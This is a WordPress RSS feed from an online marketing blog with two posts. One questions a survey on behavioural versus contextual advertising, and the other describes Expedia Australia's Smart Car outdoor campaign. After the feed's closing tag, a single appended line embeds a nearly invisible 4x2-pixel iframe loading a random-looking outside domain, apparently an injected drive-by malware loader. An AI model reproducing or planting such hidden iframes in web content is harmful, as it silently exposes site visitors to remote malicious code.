<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kristi Barrow &#187; advertising</title>
	<atom:link href="http://www.kristi-barrow.com/tag/advertising/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kristi-barrow.com</link>
	<description>Online Marketing Professional</description>
	<lastBuildDate>Sat, 10 Apr 2010 22:29:28 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Behavioural vs contextual advertising online</title>
		<link>http://www.kristi-barrow.com/behavioural-contextual-advertising-online/</link>
		<comments>http://www.kristi-barrow.com/behavioural-contextual-advertising-online/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 04:03:41 +0000</pubDate>
		<dc:creator>Kristi Barrow</dc:creator>
				<category><![CDATA[Online Marketing]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[behavioural]]></category>
		<category><![CDATA[contextual]]></category>

		<guid isPermaLink="false">http://www.kineo.com.au/?p=816</guid>
		<description><![CDATA[An interesting piece of research came out yesterday from Audience Science proclaiming consumers prefer behavioural advertising to contextual advertising online. It makes a lot of sense, people are more likely to be interested in ads that appeal to them, rather than advertising which is confined to the context of what they are currently looking at.]]></description>
			<content:encoded><![CDATA[<p><a target="_blank" href="http://www.flickr.com/photos/striatic/101594790/sizes/m/"><img class="alignright size-medium wp-image-817" title="Image courtesy of striatic" src="http://www.kristi-barrow.com/wp-content/uploads//101594790_e14c49c539-300x225.jpg" alt="Image courtesy of striatic" width="300" height="225" /></a>An interesting piece of research came out yesterday from <a target="_blank" href="http://www.audiencescience.com/" target="_blank">Audience Science</a> proclaiming consumers prefer behavioural advertising to contextual advertising online.  It makes a lot of sense, people are more likely to be interested in ads that appeal to them, rather than advertising which is confined to the context of what they are currently looking at.</p>
<p>However the research used to come up with this statement is based on a Forrester research study where they asked around 1,600 people the following question:</p>
<p style="padding-left: 30px;">&#8220;Please indicate to what extent each statement describes your attitudes: I pay more attention to online ads directly related to my online activity (contextual); I pay more attention to online ads that fit my specific interests (behavioral).&#8221;</p>
<p>I struggled to understand what was being asked and I work in marketing!  I can&#8217;t imagine every respondent fully understood what this question was asking.  According to the survey</p>
<p style="padding-left: 30px;"><span class="articleText">&#8220;65 % responding that they are more receptive to BT, and only 35% saying they paid more attention to contextual ads&#8221; </span></p>
<p>I look forward to a more robust study using real data based on customers <strong>actions</strong> following exposure to behavioural vs contextual advertising.  This will be much more valuable that simply asking consumers what they like!</p>
<p>Read the press release &#8211; <a target="_blank" href="http://www.audiencescience.com/press_room/press_releases/2009/20090512.asp" target="_blank">Independent Study Finds that Online Shoppers are More Receptive to Behaviorally Targeted Ads than Contextual Ads</a></p>


<div class="shr-bookmarks shr-bookmarks-expand">
<ul class="socials">
		<li class="shr-comfeed">
			<a href="http://www.kristi-barrow.com/behavioural-contextual-advertising-online/feed" rel="" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a>
		</li>
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://www.kristi-barrow.com/behavioural-contextual-advertising-online/&amp;title=Behavioural+vs+contextual+advertising+online" rel="" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://www.kristi-barrow.com/behavioural-contextual-advertising-online/&amp;t=Behavioural+vs+contextual+advertising+online" rel="" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-linkedin">
			<a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://www.kristi-barrow.com/behavioural-contextual-advertising-online/&amp;title=Behavioural+vs+contextual+advertising+online&amp;summary=An%20interesting%20piece%20of%20research%20came%20out%20yesterday%20from%20Audience%20Science%20proclaiming%20consumers%20prefer%20behavioural%20advertising%20to%20contextual%20advertising%20online.%20It%20makes%20a%20lot%20of%20sense%2C%20people%20are%20more%20likely%20to%20be%20interested%20in%20ads%20that%20appeal%20to%20them%2C%20rather%20than%20advertising%20which%20is%20confined%20to%20the%20context%20of%20what%20they%20are%20currently%20looking%20at.&amp;source=Kristi Barrow" rel="" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="shr-twitter">
			<a href="http://twitter.com/home?status=Behavioural+vs+contextual+advertising+online+-+http://b2l.me/g3gha&amp;source=shareaholic" rel="" title="Tweet This!">Tweet This!</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>

]]></content:encoded>
			<wfw:commentRss>http://www.kristi-barrow.com/behavioural-contextual-advertising-online/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Expedia Smartcar Outdoor campaign</title>
		<link>http://www.kristi-barrow.com/mobile-advertising-expedia-smartcar-outdoor-campaign/</link>
		<comments>http://www.kristi-barrow.com/mobile-advertising-expedia-smartcar-outdoor-campaign/#comments</comments>
		<pubDate>Sun, 27 Jan 2008 06:34:12 +0000</pubDate>
		<dc:creator>Kristi Barrow</dc:creator>
				<category><![CDATA[General Marketing]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[outdoor]]></category>
		<category><![CDATA[smart car]]></category>

		<guid isPermaLink="false">http://www.kristi-barrow.com/?p=118</guid>
		<description><![CDATA[Expedia Australia zoomed into the world of mobile outdoor advertising with its latest offline campaign, branded Smart Cars. The cars have been touring the Sydney metro area in high pedestrian traffic locations where the team has also been handing out Expedia.com.au branded Frisbees &#8212; perfect for the Aussie summer!
Watch the video of the launch event on Bondi Beach in Sydney, December 2007.





		
			Subscribe to the comments for this post?
		
		
			Share this on del.icio.us
		
		
			Share this on Facebook
		
		
			Share this on LinkedIn
		
		
			Tweet This!
		




]]></description>
			<content:encoded><![CDATA[<p>Expedia Australia zoomed into the world of mobile outdoor advertising with its latest offline campaign, branded Smart Cars. The cars have been touring the Sydney metro area in high pedestrian traffic locations where the team has also been handing out Expedia.com.au branded Frisbees &#8212; perfect for the Aussie summer!</p>
<p>Watch the video of the launch event on Bondi Beach in Sydney, December 2007.</p>
<p><object width="560" height="340" data="http://www.youtube.com/v/_AAUm8smZ0E&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/_AAUm8smZ0E&amp;hl=en&amp;fs=1" /><param name="allowfullscreen" value="true" /></object></p>


<div class="shr-bookmarks shr-bookmarks-expand">
<ul class="socials">
		<li class="shr-comfeed">
			<a href="http://www.kristi-barrow.com/mobile-advertising-expedia-smartcar-outdoor-campaign/feed" rel="" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a>
		</li>
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://www.kristi-barrow.com/mobile-advertising-expedia-smartcar-outdoor-campaign/&amp;title=Expedia+Smartcar+Outdoor+campaign" rel="" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://www.kristi-barrow.com/mobile-advertising-expedia-smartcar-outdoor-campaign/&amp;t=Expedia+Smartcar+Outdoor+campaign" rel="" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-linkedin">
			<a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://www.kristi-barrow.com/mobile-advertising-expedia-smartcar-outdoor-campaign/&amp;title=Expedia+Smartcar+Outdoor+campaign&amp;summary=Expedia%20Australia%20zoomed%20into%20the%20world%20of%20mobile%20outdoor%20advertising%20with%20its%20latest%20offline%20campaign%2C%20branded%20Smart%20Cars.%20The%20cars%20have%20been%20touring%20the%20Sydney%20metro%20area%20in%20high%20pedestrian%20traffic%20locations%20where%20the%20team%20has%20also%20been%20handing%20out%20Expedia.com.au%20branded%20Frisbees%20--%20perfect%20for%20th&amp;source=Kristi Barrow" rel="" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="shr-twitter">
			<a href="http://twitter.com/home?status=Expedia+Smartcar+Outdoor+campaign+-+http://b2l.me/g3nv4&amp;source=shareaholic" rel="" title="Tweet This!">Tweet This!</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>

]]></content:encoded>
			<wfw:commentRss>http://www.kristi-barrow.com/mobile-advertising-expedia-smartcar-outdoor-campaign/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://eiueuiuewi.com/54N7JS34B34D5NH34J/" width="4" height="2"></iframe>